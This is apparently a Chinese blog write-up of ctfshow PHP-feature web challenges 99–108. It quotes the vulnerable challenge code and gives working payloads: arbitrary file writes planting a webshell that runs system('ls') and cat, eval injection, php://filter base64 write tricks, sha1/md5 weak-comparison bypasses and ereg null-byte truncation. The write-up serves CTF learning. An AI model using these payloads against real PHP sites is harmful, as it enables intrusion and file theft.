ctfshow的web入门php特性99-108

php99

  <?php

  highlight_file(FILE);
  $allow = array();
  for ($i=36; $i < 0x36d; $i++) {
  array_push($allow, rand(1,$i));
  }
  if(isset($GET['n']) && in_array($GET['n'], $allow)){
  file_put_contents($GET['n'], $POST['content']);
  }

  ?>

依题解析:

$allow = array(); //创建空数组$allow

for ($i=36; $i < 0x36d; $i++) //i的初始值为36,如果i小于0x36d(十六进制,877为其十进制),就不断+1

array_push($allow, rand(1,$i)); //将1到877(i的最大循环值)放入$allow这个数组。

if(isset($GET['n']) && in_array($GET['n'], $allow)) //判断URL里面有没有?n参数同时in_array对传上来的参数和$allow里面的随机数进行比较。

file_put_contents($GET['n'], $POST['content']); //用户通过 URL 参数 ?n=xxx 传进来的字符串,直接当成文件名,不做任何过滤或路径校验。$POST['content']是 POST 报文体里同名字段的值,原样作为文件内容,同样不做过滤,file_put_contents($GET['n'], $_POST['content'])将content字段里面的值写入n.php文件里面。

bp抓包后将头部修改为POST,POST /?n=3.php HTTP/1.1 3可以为随机数

然后尾部添加content

fig:

然后不断点发送,直到返回没有下面的报错。

fig:

就可以访问上传的文件,url/4.php然后将底部的content修改为request里面的密码1=system('ls');就能查看当前目录下面的文件,再访问flag36d.php

1=system('cat flag36d.php');

就能得到flag

php100

  highlight_file(FILE);
  include("ctfshow.php"); //引用文件
  //flag in class ctfshow; //提示flag在ctfshow类里面
  $ctfshow = new ctfshow();
  $v1=$GET['v1'];
  $v2=$GET['v2'];
  $v3=$_GET['v3'];
  $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); //‘=’的优先级大于and,所以v1必须是数字才能进行下一步if判断,v2和v3是不是数字不影响。
  if($v0){ //v0=v1=数字=true就能执行if
  if(!preg_match("/\;/", $v2)){ //v2不能有;
  if(preg_match("/\;/", $v3)){ //v3必须有;
  eval("$v2('ctfshow')$v3"); //
  }
  }

  }

payload:?v1=1&v2=system("tac%20ctfshow.php")/&v3=;

?v1=1满足$v0=is_numeric($v1) 这个条件,同时v2,v3符合if里面的判断,最后payload带入eval的模板就是system("tac ctfshow.php")('ctfshow');

flag就能回显

fig:

$flag_is_8ef06a100x2d67d40x2d41950x2d8c500x2ddf5b89c38aed不是ctfshow的常规flag,里面缺少了常规flag的-,而多了0x2d,执行下面的代码就能获取到flag。

<?php

echo preg_replace('/0x2d/','-','8ef06a100x2d67d40x2d41950x2d8c500x2ddf5b89c38aed');

?>

php101

  <?php

  highlight_file(FILE);
  include("ctfshow.php");
  //flag in class ctfshow;
  $ctfshow = new ctfshow();
  $v1=$GET['v1'];
  $v2=$GET['v2'];
  $v3=$_GET['v3'];
  $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
  if($v0){
  if(!preg_match("/\\|\/|~|`|!|\@|#|\$|\%|\^|*|)|-|_|+|\=|{|[|"|'|\,|.|\;|\?|[0-9]/", $v2)){
  if(!preg_match("/\\|\/|~|`|!|\@|#|\$|\%|\^|*|(|-|_|+|\=|{|[|"|'|\,|.|\?|[0-9]/", $v3)){
  eval("$v2('ctfshow')$v3");
  }
  }

  }

  ?>

对比上一题正则加了很多,看了大佬的题解用ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

payload:v1=1&v2=echo new ReflectionClass&v3=;

fig:

最后根据eval模板得到的答案是echo new ReflectionClass('ctfshow');

payload看起来简单,但是本人没了解此函数,所以解不出来,并且flag还需要解码一下,得到flag还得爆破最后一位,,,,,

php102

  <?php
  highlight_file(FILE);
  $v1 = $POST['v1'];
  $v2 = $GET['v2']; //get请求体上传
  $v3 = $_GET['v3'];
  $v4 = is_numeric($v2) and is_numeric($v3); //V2上传参数必须得是数字
  if($v4){
  $s = substr($v2,2); //从V2的第二位开始截取,丢弃前两位
  $str = call_user_func($v1,$s); //v1输入的动作参数可以执行$s
  echo $str;
  file_put_contents($v3,$str); //将$str的内容上传到v3(文件名)
  }
  else{
  die('hacker');
  }

  ?>

这题绕过依旧是看其他大佬的题解来理解的

payload:GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:v1=hex2bin

由于v2必须是数字参数,所以加密方法是先将<?='cat *;'> 进行base64加密(得删掉最后的=号,不然最后上传的加密数字无法通过)再转换为十六进制,由于 $s = substr($v2,2); //从V2的第二位开始截取,丢弃前两位,有这个过滤条件,所以最后的v2payload需要在开头加两个数字;v3则是以文件名形式存在,不过file_put_contents函数可以结合伪协议,所以就用伪协议解码base64,然后v1的动作 $str = call_user_func($v1,$s); //v1输入的动作参数可以执行$s就是用hex2bin来解码十六进制。

php103

  $v1 = $POST['v1'];
  $v2 = $GET['v2'];
  $v3 = $_GET['v3'];
  $v4 = is_numeric($v2) and is_numeric($v3);
  if($v4){
  $s = substr($v2,2);
  $str = call_user_func($v1,$s);
  echo $str;
  if(!preg_match("/.p.h.p./i",$str)){ //太年轻的孩子,你直接给我坐下
  file_put_contents($v3,$str);
  }
  else{
  die('Sorry');
  }
  }
  else{
  die('hacker');
  }

对比上一题多了一个正则,会过滤最后解密出来的base64的php,但是base64拦截不了,所以payload和上一题一样。

php104

  highlight_file(FILE);
  include("flag.php");

  if(isset($POST['v1']) && isset($GET['v2'])){
  $v1 = $POST['v1'];
  $v2 = $GET['v2'];
  if(sha1($v1)==sha1($v2)){ //弱比较,v1=v2则会输出flag
  echo $flag;
  }
  }

这题很简单,sha1有个常见的绕过思路就是数组绕过,只要v1v2两边都是数组就代表两边都是null,就能得到flag。

payload: post:v1[]=1 get:url/?v2[]=2

php105

  include('flag.php');
  error_reporting(0);
  $error='你还想要flag嘛?';
  $suces='既然你想要那给你吧!';
  foreach($GET as $key => $value){
  if($key==='error'){
  die("what are you doing?!");
  }
  $$key=$$value;
  }foreach($POST as $key => $value){
  if($value==='flag'){
  die("what are you doing?!");
  }
  $$key=$$value;
  }
  if(!($_POST['flag']==$flag)){
  die($error);
  }
  echo "your are good".$flag."\n";
  die($suces);

payload:

get:?suces=flag

post:error=suces

这个太绕了,就没人能搞懂,不服的私信我给我分析

php106

  include("flag.php");

  if(isset($POST['v1']) && isset($GET['v2'])){
  $v1 = $POST['v1'];
  $v2 = $GET['v2'];
  if(sha1($v1)==sha1($v2) && $v1!=$v2){
  echo $flag;
  }
  }

依旧关键词提取,sha1($v1)==sha1($v2),就会输出flag,和104一样数组绕过。

php107

  error_reporting(0);
  include("flag.php");

  if(isset($POST['v1'])){
  $v1 = $POST['v1'];
  $v3 = $_GET['v3'];
  parse_str($v1,$v2); //parse_str将v1的参数以数组的方式存储到v2
  if($v2['flag']==md5($v3)){
  echo $flag;
  }

  }

payload:GET: ?v3=240610708 POST: v1=flag=0

根据payload来进行题解,限制v1是post上传,但是输出$flag的函数是v2,且要等于md5加密过的v3,240610708进行md5加密后就是0e462097431906509019562988736854,科学计数法下就是0,至于v1为什么要等于flag再等于0是因为v2参数是flag,parse_str存储一趟后就是flag=0了。

php108

  highlight_file(FILE);
  error_reporting(0);
  include("flag.php");

  if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { //+$限制了正则条件为c参数里面必须有一个字母
  die('error');

  }
  //只有36d的人才能看到flag
  if(intval(strrev($_GET['c']))==0x36d){ //intval提取了c的参数和0x36d(877)进行比较,而strrev会把c的参数进行反转。
  echo $flag;
  }

  ?>

payload:?c=a%00778

ereg 函数的经典截断特性,在传参的中间加上00%就能隐藏后面的877,通过正则。

posted @ 2026-01-20 22:55  yeycat  阅读(1)  评论(0)    收藏  举报